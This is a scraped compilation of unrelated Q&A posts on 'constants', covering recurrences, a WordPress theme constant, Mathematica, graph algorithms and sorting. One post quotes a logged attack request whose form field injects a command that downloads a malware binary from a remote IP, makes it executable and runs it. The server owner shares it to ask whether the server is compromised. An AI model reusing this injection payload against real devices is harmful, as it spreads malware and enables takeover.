Choosing Constant for Last Step in Substitution METHOD $T(n)= 5T(n/4) + n^2$

I figured out a solution to a recurrence relation, but I’m not sure what the constant should be for the last step to hold.

$ T(n)= 5T(n/4) + n^2$

Guess: $ T(n) = O(n^2)$

Prove: $ T(n) \leq cn^2 $

Breakdown

$ T(n) \leq 5(c(n/4)^2) + n^2 $

$ = (5/16)cn^2 + n^2 $

$ \leq cn^2 $

For the last step to hold I’m not sure what the value of c should be because of the (5/16). My guess would be c >= 1 and I’m not sure if that would hold.

Does a function $f$ exists such that: $f(n-k) \ne \Theta(f(n))$ for some constant $k\geq1$?

I have encountered the following question in my homework assignment in Data Structures course:

"Does a function $ f$ exists such that: $ f(n-k) \ne \Theta(f(n))$ for some constant $ k\geq1$ ?"

I think no such function $ f$ exists, but I do not know how to prove it (or give a counter-example if one exists).

Fatal error and use of undefined constant in child theme unless I redefine it

Child theme functions.php:

// Init. require_once( WPBF_CHILD_THEME_DIR . '/inc/init-child.php'); 

In the parent theme functions.php, the constant is defined:

define( 'WPBF_CHILD_THEME_DIR', get_stylesheet_directory() ); 

If I include the same constant definition in the child theme like the above, then the require_once works and /inc/init-child.php file is loaded.

However I get a notice stating that the constant is already defined in the parent theme’s functions.php (correct!).

But if I remove this from the child theme’s functions.php, then I get the following:-

Warning: Use of undefined constant WPBF_CHILD_THEME_DIR - assumed 'WPBF_CHILD_THEME_DIR' (this will throw an Error in a future version of PHP) in /var/www/vhosts/xxx/subdomains/xxx/httpdocs/wp-content/themes/page-builder-framework-child/functions.php on line 42  Warning: require_once(WPBF_CHILD_THEME_DIR/inc/init-child.php): failed to open stream: No such file or directory in /var/www/vhosts/xxx/subdomains/xxx/httpdocs/wp-content/themes/page-builder-framework-child/functions.php on line 42  Fatal error: require_once(): Failed opening required 'WPBF_CHILD_THEME_DIR/inc/init-child.php' (include_path='.:/opt/plesk/php/7.3/share/pear') in /var/www/vhosts/xxx/subdomains/xxx/httpdocs/wp-content/themes/page-builder-framework-child/functions.php on line 42 

So why can I only load the file via the child theme if I redefine the constant even though it is going to show me a notice to state it is already defined…?

The same constant is already in use in the very same child theme functions.php file further up as well like:

// Textdomain. load_child_theme_textdomain( 'page-builder-framework-child', WPBF_CHILD_THEME_DIR . '/languages' ); 

I am assuming there should be a correct way to load the file needed without having to repeat constant definitions?

Constant POST request spam to /cgi-bin/ViewLog.asp endpoint

I’ve got a DigitalOcean server that I use for different temporary servers. Lately I’ve found that sometimes I get a constant spam of the following requests:

POST http://127.0.0.1/cgi-bin/ViewLog.asp  Headers:     Host: 127.0.0.1     Connection: keep-alive     Accept-Encoding": gzip, deflate     Accept: */*     User-Agent: B4ckdoor-owned-you     Content-Length: 176     Content-Type: application/x-www-form-urlencoded  Body: {     " remote_submit_Flag": "1", // Space is not a typo     "remote_syslog_Flag": "1",     "RemoteSyslogSupported": "1",     "LogFlag": "0",     "remote_host": ";cd /tmp;wget http://152.44.44.68/d/xd.arm7;chmod 777 xd.arm7;./xd.arm7;rm -rf xd.arm" } 

Which does not really bother me since I run Node.js servers only. What bothers me is the repetition of the attack and the Host header (although I believe this one can be faked).

I’ve used to run a DNS server that defaulted to Google DNS, that I left unattended for some time and it gathered 1.5TB of traffic in one month. The named -v shows version 9.11.3-1ubuntu1.12-Ubuntu.

Is the server compomised?

Why is the independent constant of the differential equation not equal to the order of the differential equation?

I remember a conclusion: the number of independent constants in differential equations is equal to the order of the differential equation.

However, 23 independent constants are generated after the following fourth-order differential equation is solved.

DSolve[{D[2 D[ω[x, t], {x, 2}], {x, 2}] + D[ω[x, t], {t, 2}] == 0}, ω[x, t], {x, t}] Out:= {{ω[x, t] ->     1/1680 (1680 C[23] t^2 x^4 - 1411200 C[8] t^2 x^3 -        470400 C[17] t^3 x^3 - 604800 C[7] t^2 x^2 -        201600 C[16] t^3 x^2 - 201600 C[6] t^2 x - 67200 C[15] t^3 x -        40320 C[5] t^2 - 13440 C[14] t^3 - 6720 C[23] t^4 +        1680 C[17] t x^7 + 1680 C[16] t x^6 + 1680 C[15] t x^5 +        1680 C[14] t x^4 + 1680 C[13] t x^3 + 1680 C[12] t x^2 +        1680 C[11] t x + 1680 C[10] t - C[23] x^8 + 1680 C[8] x^7 +        1680 C[7] x^6 + 1680 C[6] x^5 + 1680 C[5] x^4 + 1680 C[4] x^3 +        1680 C[3] x^2 + 1680 C[2] x + 1680 C[1])}} 

We can see that the number of independent constants in the solution of this differential equation is far greater than the order of this differential equation. I want to know the relationship between the number of independent constants in the solution of a differential equation and the order of the differential equation.

an algorithm for detecting if noisy univariate data is constant or is sum of step functions

In an explicit algorithm i’m writing, there is a certain stage where i need to determine whether or not a certain noisy univariate data is constant or is sum of step functions.

For example, defining foo as the algorithm i’m after (writing in python): assert foo([0]*20) == False assert foo([0]*20 + [1]*20) == True assert foo([0]*20 + [5]*30 + [1]*70) == True

  • The data in the examples is not noisy, but assume the real one is (just a bit, one can pinpoint where a step might take place by observing the plot of the data.

I’d be happy to hear any ideas, thank you.


Estimation of vertex cover in a constant boundsry

I would really appreciate your assistance with this:

for the following function: $ f\left(G,v\right)\:=\:size\:of\:minimal\:vertex\:cover\:v\:belongs\:to$ .

The function gets an undirected graph G and a vertex v and returns a natural number, which is the size of the smallest vertex cover in G that v belongs to.

problem: proving that if it is possible to estimate f in a constant boundary of 5 in polynomial time, then P=NP. meaning, if it is possible to compute in polynomial time a function $ g(G,v)$ and it is guaranteed that $ f(G,v)-5 \leq g(G,v) \leq f(G,v) + 5$ then P=NP.

I don’t understand why it happens and why if known that $ f(G,v)$ can be computed in polynomial time and $ f(G,v)-5 \leq g(G,v) \leq f(G,v) + 5$ then P=NP

What is an $O(n \log(n))$ binary sorting algorithm with a guaranteed low scaling constant on the run-time?

Let $ O_c(f(n))$ denote that $ c$ is the scaling constant for the run-time (e.g. $ \text{run time} \leq c\cdot f(n) + B$ if $ n$ is large enough)

The absolute lower limit on the run-time for a binary sorting algorithm is $ \log_2(n!) \in O_{1}(n \log_2(n))$ .

My question is, is there an actual sorting algorithm guaranteed to achieve that optimal scaling of $ c=1$ on average? Or what’s the lowest possible scaling constant? And what sorting algorithm achieves the lowest (or a very low) scaling constant?

As a baseline, Quicksort achieves a scaling constant of $ c = 2 \ln(2) \approx 1.39$ , as explained on Wikipedia (see recurrences subsection).

what happens to max flow if we decrease the capacity of every edge by some constant?

Given a graph $ G = (V,A)$ , with source $ s$ , sink $ t$ , edge capacity larger than 1 (but not all equal), I know that if we decrease the capacity of one edge by 1, the $ s,t$ -maximum flow decreases by at most 1. But I would like to know what happens to max flow if we decrease (or increase) the capacity of all edges by 1. I’d appreciate any comments/insights on this. Thanks!

Conditionally returning a constant if function returns Undefined

Often times functions might return Undefined in Mathematica, e.g. when the Volume@RegionIntersection is called for 2 objects which have no overlapping volume. A simple If statement checking if the return has been indeed Undefined does not seem to work. For example, a=Undefined; If[a == Undefined, Print["yes"]] ends up printing the command itself.

  • How can we check if a variable (or a function return) such as a has been assigned as Undefined and assign a different value to it in that case?